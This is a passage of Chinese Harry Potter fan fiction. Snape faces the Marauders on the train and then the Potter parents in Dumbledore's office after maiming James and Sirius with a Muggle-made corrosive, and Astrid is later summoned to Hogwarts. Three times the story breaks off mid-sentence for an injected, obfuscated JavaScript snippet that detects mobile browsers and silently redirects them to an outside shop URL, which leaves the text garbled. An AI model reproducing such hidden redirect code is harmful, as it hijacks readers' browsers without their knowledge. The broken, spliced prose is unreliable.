“不全是。”斯内普带着她转了一个圈,“但最起码都能让斯拉格霍恩教授面上增光,或者将来成为有用的人脉。” “嗯。”阿斯特丽德想了想,“类似优秀校友。”这个她懂,麻瓜学校也搞这套。什么“杰出校友会”,什么“知名人士讲座”,什么“捐助者晚宴”——换汤不换药。 音乐声慢慢停下来,最后一个音符落下。 阿斯特丽德后退半步,双手假装提起裙摆——她今天穿着一条普通的连衣裙,但她提裙的动作做得像模像样,微微欠身,低头。 “那么,祝你度过一个愉快的学年。” 斯内普收回手,垂在身侧。他的目光落在她毛茸茸的发顶上——她现在比他矮很多,他低头就能看到她头顶那些不服帖的呆毛,一根两根三根,支棱着,在阳光下泛着淡淡的光。 还有那条吊带连衣裙的领口…… 他移开目光。 “你也是。”他把目光落向茶几上的两杯红茶。那茶早就凉了,从他们开始练舞之前就凉到现在。 “如果你的姑妈又不小心忘记给你留饭,”他语气很平淡,“你可以来这自己做。只需要确保我回来时还能看到完整的厨房。” 阿斯特丽德眨眨眼,然后立刻捧着心口,语气做作得像在演莎士比亚的戏剧:“哦,伟大又心善的巫师先生——”她拖长了调子,“您一定会收获一个完美的学年的,神保佑您!” 斯内普冷哼一声。但他确信,这次从她的祝福里听出了一点真心实意的成分。 九月初,霍格沃茨特快列车轰鸣着穿过英格兰的乡野。 斯内普拎着行李箱走过一节又一节车厢,目光从那些半掩的隔间门上掠过。三年级的学生在交换暑假经历,四年级的在讨论OWLs选课,五年级的在焦虑考试——一切如常。 他路过了莉莉所在的车厢。 她没有看到他。她正和她的舍友玛丽·麦克唐纳坐在一起,两个人头挨着头,分享着什么暑期趣事。玛丽的嘴一张一合,莉莉在笑,那种笑容他曾见过无数次,但从六月底开始,很久没见过了。 以往,那个隔间里也会有他的位置。他会安静地坐在角落,听莉莉讲她暑假去了哪里,做了些什么,偶尔插一两句关于蜘蛛尾巷的、乏善可陈的消息。 但现在那里没有他的位置了。 他没有停步,拎着箱子继续往前走,一节车厢,两节车厢,三节车厢—— 最后停在一个隔间门口,里面已经坐着两个人。 埃弗里抬起头来,看到他,点了点头。穆尔塞伯坐在靠窗的位置,也抬起头,冲他扬了扬下巴。 斯内普推开门,把箱子放上行李架,在那个空着的位置上坐下来。 气氛沉默了几秒。 五年级末的那件事,大家都知道。都知道他叫了莉莉“泥巴种”,莉莉从此不再理他,而他失去了那个从九岁起就认识的、唯一的朋友。 但没有人提。在斯莱特林,有些事情不需要提。心照不宣就够了。 “OWLs成绩单收到了?”埃弗里先开口。 斯内普点点头:“九个O,一个E。” 埃弗里的眉毛抬了抬。穆尔塞伯也转过头来看他,脸上带着一点意外。 “变形术?”埃弗里问。 “显而易见。” 埃弗里发出一声同情的轻哼。“那位考官给分一向吝啬。” 穆尔塞伯从窗边转回目光,靠在椅背上,声音低沉:“黑魔法防御术呢?也是O?” 斯内普的唇角露出一种微妙的、近乎得意的弧度:“自然。” 穆尔塞伯点点头,没有多说什么。但他的眼睛里有一丝认可的神色。 “暑假练了什么?”埃弗里压低声音,往隔间门的方向看了一眼——门关着,没有人经过。 斯内普靠在椅背上,目光落向窗外飞掠而过的田野。“一些……进阶的内容。”他的声音也很低,但每个字都清晰,“那位大人的理念,你们也知道——黑魔法不是禁忌,是工具。关键看怎么用。” 埃弗里的眼睛亮了亮:“你见过他了?” 斯内普摇摇头:“没有。但卢修斯——”他顿了顿,那个名字从他嘴里说出来,带着一丝微妙的亲近,“他暗示过几次。只要继续‘精进’,机会总会有的。” 穆尔塞伯靠过来一点,压低声音:“我听说他招募的都是最优秀的。纯血世家优先,但——” 他看了斯内普一眼,没把后半句说完。 但混血也行,只要足够有用。 斯内普知道他想说什么。他没有生气,只是微微挑了挑眉。“血统是传统。”他语气圆滑得像在念一篇措辞精妙的论文,“但能力是证明。那位大人看重的是……真正的追随者,不是那些只会躺在祖先功劳簿上睡大觉的蠢货。” 埃弗里点点头,表情若有所思:“你上次那个——”他压低声音,又往门口看了一眼,“那个小瓶子,是什么?我听说波特和布莱克在校医院躺了半个月,后面又转去圣芒戈。” 斯内普的嘴角勾起一个恶劣的弧度,“一个小玩意。”他语气漫不经心,“麻瓜的东西。稍微……改良了一下。” 埃弗里和穆尔塞伯对视一眼。 “麻瓜的?”穆尔塞伯皱起眉头,语气里带着一丝怀疑。 斯内普靠在椅背上,目光从那两人脸上扫过,语气里带着斯莱特林特有的、优雅的嘲讽,“你们对麻瓜的了解太片面了。他们没有魔法,但有的是办法让人后悔——有些办法,比我们的黑魔法还要……‘有创意’。” 他看着那两人的表情,又补了一句:“那位大人,至少不拒绝有用的东西。无论它来自哪里。” 这句话说得很委婉,很圆滑,但意思很清楚: 纯血是传统,但能力才是通行证。那位大人要的是有用的人,不是只会念家谱的废物。 列车继续向前,窗外的田野渐渐变成起伏的山丘,再过几个小时,就要到霍格沃茨了。 快到站的时候 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334583|199227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,斯内普起身去换校服。他刚走出隔间,拐过一个弯,就看到了那四个人——波特,布莱克,卢平,小矮星彼得——堵在过道中间,正好把路挡死。 斯内普停下脚步,目光从那四个人脸上一一扫过——波特的头发乱得像刚从台风里走出来,布莱克咧着嘴笑得像一只逮到耗子的狗,卢平站在后面,脸色苍白,那双眼睛盯着他,不知道在想什么。小矮星彼得缩在最后,探出半个脑袋,老鼠一样。 斯内普的目光最后落在波特和布莱克身上——准确地说,落在他们的腰胯间。 他上下逡巡了一圈,嘴角慢慢勾起一个弧度。那个弧度不大,但恶劣得恰到好处。“看来我们的魁地奇明星们康复如初。”他说,语气慢悠悠的,带着一种咏叹调般的、浮夸的欣慰,“并不会影响今年的比赛,对吗?真替麦格教授感到高兴。” 波特和布莱克的脸色都变了:“你——” 斯内普的目光又落在他们手里拿着的魔杖上。两根新魔杖,杖身光滑,一看就是刚从奥利凡德那买的。 他永远不会忘记那天的事。 自己被倒挂在半空,魔杖被布莱克踢到一边,那瓶阿斯特丽德寄来的小东西被他准确地扔到了那两个人身上。液体在接触皮肤的一瞬间就渗透进去——无烟,无味,无声,只有那两个人撕心裂肺的惨叫。 当时被融掉的,是他们腰腹以下的部位。还有右手——那两根握着魔杖的、指着他的右手。 手指没了,魔杖也毁了——被融得只剩两截断茬,落在地上,像两根被废弃的树枝。 “新魔杖?”斯内普的目光落在那两根崭新的木棍上,嘴角的弧度加深了一点,“奥利凡德的手艺确实不错。不过他对弄断过魔杖的顾客不给折扣。你们应该已经体会过了。” 布莱克的脸涨得通红:“你这个臭烘烘的鼻涕精!”他拔出魔杖,一道红光直冲斯内普的面门。 斯内普侧身躲过。 下一秒,波特的魔杖也举了起来。卢平犹豫了一下,也举了起来。小矮星彼得从后面探出魔杖,抖抖索索地指着斯内普。 四对一。 斯内普的魔杖已经握在手里,嘴唇几乎没动——无声咒。一道紫光从他杖尖射出,把波特的咒语在半空中打散,余势不衰,直冲波特的面门。波特慌忙躲开,那道紫光擦着他的耳朵飞过去,在车厢壁上炸开一个焦黑的印记。 “你这个肮脏的——”布莱克吼道。 “斯莱特林的毒蛇——” “黑魔法的走狗——” 各种辱骂从四个方向涌过来,伴随着各种颜色的咒语光芒。斯内普的身影在过道里闪转腾挪,魔杖几乎没停过——无声咒,又一个无声咒,再一个无声咒。他的嘴唇闭得紧紧的,但每一道从他杖尖射出的光芒都异常精准。 “你那些都是邪恶的黑魔法!”布莱克吼道,又是一道红光。 斯内普冷笑一声,这才终于开口,声音不大,但每个字都清清楚楚地传进那四个人的耳朵里:“邪恶?”他的嘴角勾起一个讽刺的弧度,目光从布莱克和波特的腰胯间掠过。“你说的是哪一样?是你们在校医院躺的那半个月?还是你们那两根‘不幸折断’的魔杖?”他顿了顿,语气更加漫不经心,“那不过是麻瓜学校的恶作剧小玩意罢了。如果你们想知道什么叫真正的‘邪恶’——” 他举起魔杖,杖尖对准那四个人。波特和布莱克的脸色同时变了。 “继续吗?” 没有人动。 过道里安静了几秒。 几个石化咒过后,斯内普才放下魔杖,慢条斯理地从那四个人身边走过,不快不慢,像在散步。 走到波特身边时,他停下来,微微侧头,“顺便说一句,”他压低声音,语气轻柔得像耳语,“你们的‘新魔杖’,确实不错。希望这一对能用得久一点。” 他继续往前走。身后,那四个人僵在原地,像四尊雕像。 十分钟后,斯内普换好了校服,推开空隔间的门走出来。那四个人还站在过道里,动弹不得。斯内普从他们身边走过,连看都没看一眼,不快不慢地走向列车出口,走向霍格沃茨,走向新的一学年。 14. 家长来了 13. 不止本院,就连赫奇帕奇那些向来与世无争的小獾们都发现了——格兰芬多的双子星不再张扬,反而变得像是夹住尾巴的狗,一点都不明媚了。 起初还只是猜测和传言,说这两个大帅哥可能是上学期末的心理阴影有点重,现在还在恢复期。除了斯莱特林那些幸灾乐祸的家伙,大部分学生都知趣地不去打扰他们,偶尔路过也只是投去一个意味深长的眼神。 直到本学年第一场魁地奇比赛。 格兰芬多对赫奇帕奇。原本应该是一场毫无悬念的碾压——毕竟格兰芬多有波特和布莱克,这两个被所有人公认的天才找球手和击球手。 但比赛开始后,所有人都愣住了。 “他们在扫帚上扭来扭去地干什么?”一个举着麻瓜望远镜的赫奇帕奇二年级不解地嘀咕,“屁股被针扎了吗?” “你看波特——”另一个拉文克劳加入讨论,指着那个在扫帚上坐立不安的身影,“他怎么一副被踢到蛋的表情?游走球撞到他了?” “没有啊,游走球在另一边呢。” “那他在扭什么?” 围观的人群里,那些有幸目睹了上学期末那一幕的人,都不由得暗自猜测起来。 波特和布莱克不会是……废了吧? 被融掉的那部分,很容易长出来吗? 不见得吧。 否则圣芒戈还采购假肢做什么? 抓住了华点的推理小天才们开始在球场上蛐蛐起来,声音不大不小,刚好能让周围一圈人听见。 “你说他俩的屁股——和那个——会不会是假的?” “硅胶材质?” “硅胶材质好吗?有没有什么新材料之类的?听说麻瓜那边有那种——” “影响上厕所吗?” “或许你更想问影响那个吗?” “那影响吗?” 窃窃私语像野火一样蔓延开来。 整场比赛的焦点渐渐从金色飞贼转移到格兰芬多双子星的人生大事上。观众席上的热情空前高涨,每当波特或布莱克做出一个别扭的动作,就会引发一阵压抑的笑声和意味深长的目光交换。 比赛结束后,格兰芬多输了,输得很惨——波特根本没心思找飞贼,布莱克打的游走球好几次差点砸到自己人。 一直持续到晚上的大礼堂,话题都围绕着格兰芬多输了和双子星的屁股打转。 “听说了吗?波特坐下的时候,要先用手扶一下——” “布莱克今天从扫帚上下来的时候,腿都是叉着走的——” “你觉得他们还能不能——” “嘘——小点声,他看过来了。” 劫掠者的另外两个成员——卢平和小矮星彼得——这一天过得很艰难。他们不仅要忍受那些窃窃私语,还要面对一个暴躁的波特和一个阴沉的布莱克。这两个人今天已经甩了好几个恶咒给那些胆敢蛐蛐他们的人,尤其是那些眼神意味深长又极尽讽刺之能的斯莱特林。 但恶咒不能解决所有问题。人太多了,总不能把半个城堡的人都石化。 莉莉也发现了不同寻常。 波特开学后收敛了不少。以往那个总爱往她跟前凑、变着法子想引起她注意的詹姆·波特,开学后竟然一次都没来找过她。 是因为他们终于成熟了吗? 肯定不是的。 莉莉记得上学期末那些事——关于斯内普、波特和布莱克,关于校医院那半个月。但她没细问,她已经和斯内普没有关系了,和波特也没有关系。 所以,管他呢。 斯内普对这一切乐见其成。 他坐在斯莱特林长桌的角落,一边优雅地切着牛排,一边用余光欣赏着格兰芬多长桌上那两张阴云密布的脸。那种从内心深处散发出来的愉悦,比任何魔药都让他感到满足。 但他没有放松警惕,他已经做好了劫掠者对他发起更猛烈攻击的应对准备。 他们也的确这样做了。 但携带着假屁股和假那玩意儿的两个人,明显心有余悸。每次出手挑衅时,他们的眼睛里都带着一种顾忌——顾忌斯内普是否还有更恐怖的“麻瓜小玩意”。他们的咒语比以往更狠,但出手却变慢了,仿佛总要留出一只眼睛盯着斯内普的口袋。 结果通常是斯内普一打四获胜。 虽然他也会挂彩——脸颊被划开一道口子,或者袍子被烧出一个洞——但他的心情很畅快。因为他们脸上那种又恨又怕的表情实在是太有趣了。 开学第一周的周末,不畅快的波特家主和夫人造访了霍格沃茨校长办公室。 斯内普被叫去的时候,就知道事情不会简单。 校长办公室里,凤凰福克斯在栖木上打盹,邓布利多坐在那张巨大的书桌后面,半月形眼镜后面的蓝眼睛一如既往地平静。 波特夫妇坐在他对面的椅子上。 波特先生——弗利蒙特·波特,纯血世家波特家的现任家主——穿着一件剪裁精良的暗红色长袍,留着一头和詹姆一样凌乱的黑发,但打理得更体面些。他的脸上带着那种老牌纯血贵族特有的圆滑和压迫感——嘴角挂着礼貌的微笑,但眼睛里的怒火藏都藏不住。 波特夫人——金发碧眼、保养得当的尤菲米娅·波特——坐在丈夫旁边,用一双挑剔的目光上下打量着斯内普。那目光里写着:就是这个小混蛋? “西弗勒斯·斯内普。”邓布利多的声音温和平稳,“波特先生和夫人有些事情想和你谈谈。” 斯内普站在书桌对面,双手垂在身侧,表情平静得像一潭死水。 “关于上学期末发生的那件事。”波特先生开口,语气还算克制,“我儿子詹姆——还有他朋友布莱克家的孩子——在校医院躺了半个月。这件事,你知道吧?” 斯内普微微抬起眼皮,语气平淡:“知道。因为他们挑衅我在先,我正当防卫。仅此而已。” 波特夫人的脸微微涨红:“正当防卫?”她的声音拔高了一点,“正当防卫能把人的——把人弄成那样?你知道他们现在——”她说不下去了。波特先生按住她的手,示意她冷静。 “我儿子现在。”波特先生一字一顿地说,“失去了作为男人最重要的东西。这件事,你觉得能用‘正当防卫’四个字揭过去吗?” 斯内普的嘴角牵起一个很轻的、讽刺的弧度:“失去?”他重复了一遍这个词,语气慢悠悠的,“我听说圣芒戈的修复咒语很先进。如果连圣芒戈都修 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334584|199227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不好,那我只能表示遗憾。” 波特夫人霍地站起来:“你这个——” “尤菲米娅。”波特先生按住她,自己也站了起来。他比斯内普高半个头,居高临下地看着他,那种圆滑的礼貌终于裂开一道缝,露出底下真正的怒火。 “年轻人,”他的声音压得很低,带着威胁,“我不管你是哪个家族的,不管你背后站着谁。我儿子现在这样,你必须付出代价。要么退学,要么赔偿——巨额赔偿。你自己选。” 斯内普抬起头,迎上那道居高临下的目光,语气里带着一丝微妙的嘲讽,“波特先生,您确定要这么做?” “你什么意思?” 斯内普没有立刻回答。他的目光从波特先生脸上移开,落在邓布利多身上。那双黑眼睛里蕴含着的东西包括提醒,威胁,以及一场交易。 “校长先生,”他说,语气恭敬得像在请教问题,“我记得上学期末,有一个满月的夜晚,尖叫棚屋里发生了令人很不愉快的事。” 邓布利多的蓝眼睛微微一闪。 “您当时要求我保密。”斯内普继续说,语气依然恭敬,“我照做了。尽管那天晚上,我差点死掉。” 波特先生的眉头皱了起来,他不知道斯内普在说什么。 但邓布利多知道。 “西弗勒斯——”邓布利多开口。 “我只是在陈述一个事实,校长。”斯内普打断他,语气依然恭敬,但那双眼睛冷得像冰,“我遵守了您的保密要求。我咽下了那晚的事,没有告诉任何人,也没有得到任何补偿。而布莱克他们,也没有得到相应的处罚。” “现在波特先生要求我退学,我可以接受。但在离开之前,我想我应该把一些事情说清楚,您觉得呢?” 波特先生和夫人对视一眼,脸上的表情都困惑又愤怒。他们当然看得出这个油腻腻的斯莱特林小滑头在威胁邓布利多。 邓布利多叹了口气:“西弗勒斯,你知道我并不想让这种事发生的。布莱克先生的行为确实不妥,我已经严肃处理过了。” “严肃处理。”斯内普重复了一遍这四个字,语气平平的,但每个人都听出了那下面的讽刺,“您说得对,确实很严肃。让我保密,让我假装什么都没发生,让我继续和那个差点杀死我的同学坐在同一个礼堂里吃饭——这确实很‘严肃’。” 办公室里安静了几秒,只有福克斯在栖木上轻轻抖了抖羽毛。 波特先生皱着眉头,目光在斯内普和邓布利多之间来回扫视。他不知道这两个人在打什么哑谜,但他不喜欢这种被排除在外的感觉——尤其不喜欢一个头发油腻的斯莱特林小鬼当着他的面跟校长眉来眼去。 “不管你们在说什么。”他的声音重新变得圆滑而沉稳,但那圆滑底下压着火山,“我不关心。我只关心一件事:我儿子现在是什么状况,而这个小——”他顿了顿,把快到嘴边的词咽了回去,“——这个年轻人,该付出什么代价。” 波特夫人点点头,那双保养得当的眼睛紧紧盯着斯内普,像在盯一只爬过她餐桌的蟑螂。“退学。”她一字一顿地说,“必须退学。我们家不接受任何折中方案。” 斯内普垂下眼眸,露出一种“果然如此”的微表情。 15. 赔偿!必须赔偿! 邓布利多叹了口气,从半月形眼镜后面看着波特夫妇。“尤菲米娅,弗利蒙,我理解你们的愤怒。任何一个父母看到自己的孩子受到这样的伤害,都无法容忍。但退学——这不是一个简单的决定。” “为什么不是?”波特先生的声音拔高了一点,“他用那种邪恶的东西伤害了我的儿子!那东西比黑魔法还恶毒!这样的学生留在霍格沃茨,对其他学生是威胁!” “他用的东西,”邓布利多说,语气依然平静,“据说是从麻瓜商店购买的。魔法部没有相关规定禁止学生携带麻瓜物品入校——如果真的有这种规定,那所有带麻瓜糖果和玩具来学校的学生都得退学。” 波特先生的脸涨红了:“你在跟我开玩笑?糖果?玩具?那东西把我儿子的——”他说不下去了。 波特夫人深吸一口气,换了一个角度:“那就起诉。”她下巴微微抬起,“魔法部,威森加摩。我们要求对这个学生进行审判。他蓄意伤害同学,用的是——不管是什么——反正不是正常的魔法。这总该有个说法。” 邓布利多的蓝眼睛微微闪了闪,他语气依然温和,但带着一丝微妙的提醒,“这当然是一个选项,但或许并不明智。” 波特先生皱起眉头:“你什么意思?” 邓布利多没有直接回答,只是抬起手,轻轻推了推眼镜,然后慢条斯理地说:“威森加摩目前的首席魔法师,是我。” 沉默。 波特先生的表情僵了一瞬。 “而威森加摩的成员,”邓布利多继续说,“包括多位纯血家族的现任家主。据我所知,他们都对这件事有自己的看法。” 波特先生的脸由红转白。 那些斯莱特林家族当然不会站在波特家这边,他们巴不得看格兰芬多的“黄金男孩”出丑。如果真的闹到威森加摩,那些老狐狸有的是办法把水搅浑。 “更重要的是,”邓布利多补充道,“如果真的要公开审判,那整个事情的前因后果都会被拿出来讨论。包括您的儿子和布莱克先生这些年来的行为——那些恶咒,那些恶作剧,那些……嗯,‘日常互动’。” 波特夫人的嘴唇用力抿成一条直线,她知道邓布利多在说什么,也知道自己的儿子不是什么无辜的小白兔。那些写给家里的信,那些“我们教训了一个斯莱特林”的得意描述,她看过不止一次。 “所以,”波特先生咬着牙说,“你的意思是,我儿子被伤害成这样,那个小混蛋可以全身而退?” “我没有这么说。”邓布利多的声音依然温和,“赔偿是必须的。但退学——”他摇了摇头。 斯内普站在一旁,脸上没什么表情,但那双黑眼睛里有一丝极淡的、几乎察觉不到的光在闪烁。 他想起去年尖叫棚屋的那个夜晚,那个狼人朝他扑过来的瞬间,以及自己差点死在那里。 那天之后,邓布利多只是拍了拍他的肩膀,说“请保密”。没有赔偿,没有道歉,没有对布莱克的任何处罚。 现在波特家闹到办公室,邓布利多的态度却完全不一样。 他垂下眼皮,把那一丝冷笑藏起来。 “至少二十万加隆。”老波特瞪着斯内普。斯内普则差点笑出来。 二十万加隆? 波特家的脑子是被巨怪踩过吗? “我没有二十万加隆。”他语气平平的,“我父母刚去世,家里只剩下一间破房子和一堆旧书。您想要的话,可以拿去。” 波特先生的脸涨得更红了。 “波特先生。”邓布利多再次开口,“二十万加隆确实不现实,我们可以商量一个合理的数字。” 接下来的谈判持续了将近一个小时。 “十万加隆。”波特先生最后说,声音像从牙缝里挤出来的,“分五年付清。这是底线。” “十万?”邓布利多的眉毛微微抬起。 “还有公开道歉。”波特夫人补充道,“在礼堂,当着全校师生的面。” 斯内普抬起眼皮,“道歉?”他重复了一遍这个词,语气平平的,但每个人都听出了那下面的讽刺,“您的儿子,在过去的六年里,对我使用过至少三十七次恶咒。在三年级那次,他把我冻在黑湖里,整整两个小时。四年级的时候,他把我的所有期末论文变成了一滩令人作呕的烂泥,害我被扣了五十分。五年级——” “够了。”波特先生打断他,脸涨得通红,“这些跟我们现在的谈话没有关系。” “没有关系?”斯内普微微歪了歪头,“我以为我们在讨论‘谁应该向谁道歉’这个问题。” 波特先生拔出魔杖指着斯内普:“你这个恶毒阴险的——” “弗利蒙。”邓布利多的声音不大,但有一种让人无法忽视的力量,“请不要用魔杖指着我的学生。” 波特先生瞪着他,胸膛剧烈起伏,但最后还是垂下了手。 邓布利多转向斯内普:“西弗勒斯,赔偿是必须的。这一点,我希望你能理解。” 斯内普沉默了几秒,然后微微点了点头:“可以,但公开道歉——不行。” 波特夫人张口想说什么,但斯内普已经转向她,眼神冷得像冬天的湖面。“如果您坚持要我公开道歉,”他语气依然恭敬,但每个字都像钉子,“那我也会公开一些事情。关于您儿子的那些‘日常互动’。关于布莱克先生的一些……特殊爱好。关于——” “够了。”波特先生再次打断他,声音沙哑。 办公室里安静了一会儿。 最后,波特先生站起来,扶起妻子:“十万加隆。”他只看着邓布利多,“分五年付清。”他的目光扫过斯内普,带着毫不掩饰的恨意:“但这件事没完,波特家不会忘记。” 他推开门,大步走了出去。波特夫人跟在后面,裙摆在地上拖出一道窸窣的声响。 门关上后,办公室里只剩下邓布利多和斯内普,沉默像水一样漫过来。 邓 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334585|199227||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 布利多看着站在书桌对面的少年,那张年轻的脸上一如既往地没有表情,但那双黑眼睛里,有一丝极淡的讽刺。 “西弗勒斯。”他开口。 斯内普抬起头等着他的下文。但邓布利多沉默了几秒,最后只是叹了口气:“你可以走了。” “校长先生。” “嗯?” “您刚才说的那些——关于威森加摩,关于纯血家族——我很感激。”他的声音轻得像一片落叶,“但我记得,去年尖叫棚屋的那个晚上,您没有为我做这些。” 校长办公室的门在身后轻轻关上。现在已经是傍晚了,斯内普走在城堡的走廊里,晚霞从高窗照进来,把石墙染成一片暗红。他的脚步不快不慢,脸上没什么表情。 十万加隆。 他得卖多少魔药才能凑够这个数? 但他认为,如果重来一次,他还是会把那个瓶子扔出去,还是会看着波特和布莱克惨叫,也还是会享受那一刻的、无与伦比的快感。 唯一让他不舒服的,是邓布利多最后那个问题。 “西弗勒斯,”邓布利多那双蓝眼睛透过半月形眼镜看着他,“那个东西——真的只是麻瓜杂货店买的吗?” 斯内普当时站在门口,背对着他:“校长先生,如果您觉得麻瓜只会造汽车和电话,那您对麻瓜的了解,可能还不如西里斯.布莱克。” 他没有等邓布利多的回应,就推门走了出去。 他不会说出阿斯特丽德的名字。 永远不会。 那个麻瓜女孩,此刻大概正在蜘蛛尾巷的那间破房子里,做她的作业,做她的护肤霜,等着他的信。她不了解什么黑魔法,不了解什么纯血战争,更不知道什么伏地魔。 她只需要知道,她做的小玩意帮他打跑了欺负他的人,仅此而已。 当天下午,城堡里的流言就不胫而走。 不知道是从哪里传出来的,但几乎在一夜之间,所有人都“知道”了——波特夫妇在校长办公室和斯内普对峙,波特家要求赔偿,但斯内普硬是扛了下来。 最重要的是——那个关于“不再是男人”的传言,被彻底坐实了。 “听说了吗?波特家要二十万加隆,就是因为那个——修不好了——” “真的假的?” “当然是真的。我表哥的朋友的太爷爷正挂在校长办公室的墙上,亲耳听见的。” “哇哦……” 波特和布莱克愤怒极了。 但他们不能对那些传流言的学生们开炮。因为人数太多了,而且那些人都学聪明了——不当着他们的面说,只在背后窃窃私语,只在他们路过时交换意味深长的眼神。 直到那天傍晚,斯内普出现在大礼堂门口。他穿着那件黑色的校袍,步伐带风,脸上带着那种一贯的、让人想揍他的阴沉表情。 波特和布莱克对视一眼,他们都从对方眼中看到了同一个决心——干票大的。 16. 家属来喽 14. 自从开学后,阿斯特丽德就保持着每晚去斯内普家写作业、做饭吃、甚至留宿的习惯。 每天放学后,她背着书包往蜘蛛尾巷深处走,脚步会不由自主地停在那扇熟悉的门前。推开门,屋里空荡荡的,但比她自己那个“家”要让人安心得多。 比起回到那个压抑窒息的“寄居地”——瑞娜姑妈的唠叨,表弟的哭闹,还有那股永远散不掉的霉味——她更喜欢这间清净自在的房子。 斯内普家就成了很好的港湾。 尽管这里也破破烂烂的。墙纸发黄起翘,地毯磨得露出底纹,厨房的灶台上有几道洗不掉的焦痕。但这里安静,没有人骂她,没有人使唤她,没有人在她写作业的时候把收音机开得震天响。 她并没有去碰那个坩埚。 因为她相信斯内普是会给坩埚下那种“变成咬人的癞蛤蟆”的小咒语的人。那人就是很小气,她又不是不知道。 但他可没说不允许碰那些书。 那排魔药架子旁边的书架上,塞满了各种乱七八糟的书——课本、笔记、古籍、还有几本看起来就很旧的羊皮纸册子。阿斯特丽德每晚写完作业后,就会去翻几本看着顺眼的。 她是不懂魔法——没有魔力,看不懂那些咒语的实际效果。但她懂英文,看得懂上面的原理和讲解。 那些咒语拆解的词根、演变的历史、挥动魔杖的手势、集中意念的心理诀窍——她都看得懂,并且看得很认真。 她只是没有魔力去施展而已。 不过,当她看到某本《家务魔法大全》里的防尘咒和除霉咒时,还是怔愣了片刻。 这两个咒语很简单,非常非常简单。按照书上的说法,“即使是刚入学的一年级小巫师,也能在三次尝试内掌握”。 斯内普肯定是会的,那他为什么—— 阿斯特丽德盯着那两页纸,看了很久。 他是仅仅出于礼貌,才没有拒绝她的看家提议吗? 她想起他说那句话时的表情:目光落向茶几上的两杯凉茶,语气平淡得很——“如果你的姑妈又不小心忘记给你留饭,你可以来这自己做。” 阿斯特丽德合上书,轻轻放回书架。 窗外的月光照进来,把客厅照得半明半暗。她站在书架前,看着那些书脊上模糊的字迹,忽然觉得有什么东西徘徊在胸口跃跃欲试。 十月中旬的一个晚上,阿斯特丽德正窝在沙发上,看一本叫《古老黑魔法起源》的书。 书挺有意思的,讲的是那些黑魔法的源头——一些古老的、原始的力量崇拜。她看得入迷,连时间都忘了,直到窗户被叩响。 那是一只她从没见过的猫头鹰,棕色的,体型比格丽更大,眼睛炯炯有神。 阿斯特丽德起身推开窗,猫头鹰跳进来,伸出绑着纸筒的腿。她解下纸筒,展开那张羊皮纸。 上面的字迹是圆圈套圆圈的,华丽而古老: --- 杜兰特小姐: 很抱歉在这个时间打扰你。我是霍格沃茨魔法学校的校长,阿不思·邓布利多。 你的朋友西弗勒斯·斯内普今晚受了重伤,目前正在校医院接受治疗。按照校规,学生出现特殊情况时,校方有义务通知其家属。 稍后会有一位名叫鲁伯·海格的先生前往你处,带你前来霍格沃茨。 请做好准备。 阿不思·邓布利多 霍格沃茨校长 --- 阿斯特丽德盯着那张纸条,足足愣了五秒。然后她跳起来,冲进卧室套上外套。刚穿好,大门就被敲响了。 那敲门声很重,砰砰砰的,像是什么大块头在拍门。阿斯特丽德拉开门,看到一个巨人站在门口。 那人有普通人的两倍高,至少三倍宽,一张被乱糟糟的胡子和头发遮住大半的脸,眼睛里透着一种朴实的善意。 “杜兰特小姐?”他的声音像闷雷,“我是海格,邓布利多校长让我来接你。” 阿斯特丽德点点头,跟着他走出去。 门外停着……一辆复古的马车,旁边还拴着一匹巨大的、黑色的、长着翅膀的马。 “夜骐拉的马车。”海格注意到她的目光,“别担心,很快的。” 阿斯特丽德爬上马车,海格坐在她旁边。那匹长翅膀的马长嘶一声,四蹄腾空,马车晃晃悠悠地飞了起来。 蜘蛛尾巷在脚下越来越小,越来越远,最后消失在夜色里。 不超过十分钟,阿斯特丽德就站在了那座城堡的大门外。 夜晚的霍格沃茨,比她想象的要壮丽一百倍。 城堡的轮廓在月光下泛着淡淡的光,无数扇窗户里透出温暖的灯火,最高的塔楼上有一盏灯在缓缓转动。湖面平静如镜,倒映着城堡的影子,偶尔有什么东西从水下掠过,激起一圈涟漪。禁林在远处黑沉沉地起伏着,像一头沉睡的巨兽。 如果换个时间和情境,阿斯特丽德相信自己一定会为这座城堡着迷的。但眼下她无心欣赏,斯内普还躺在校医院,不知情况如何。 海格带着她穿过大门,走过一条条走廊。那些走廊里时不时飘过几个半透明的影子——幽灵——他们好奇地打量着她,交头接耳。墙上的画像在她路过时纷纷转过头来,有的甚至跟着她从一个画框走到另一个画框。 最后,他们停在一扇厚重的橡木门前。 “医疗翼。”海格低声说,推开门。 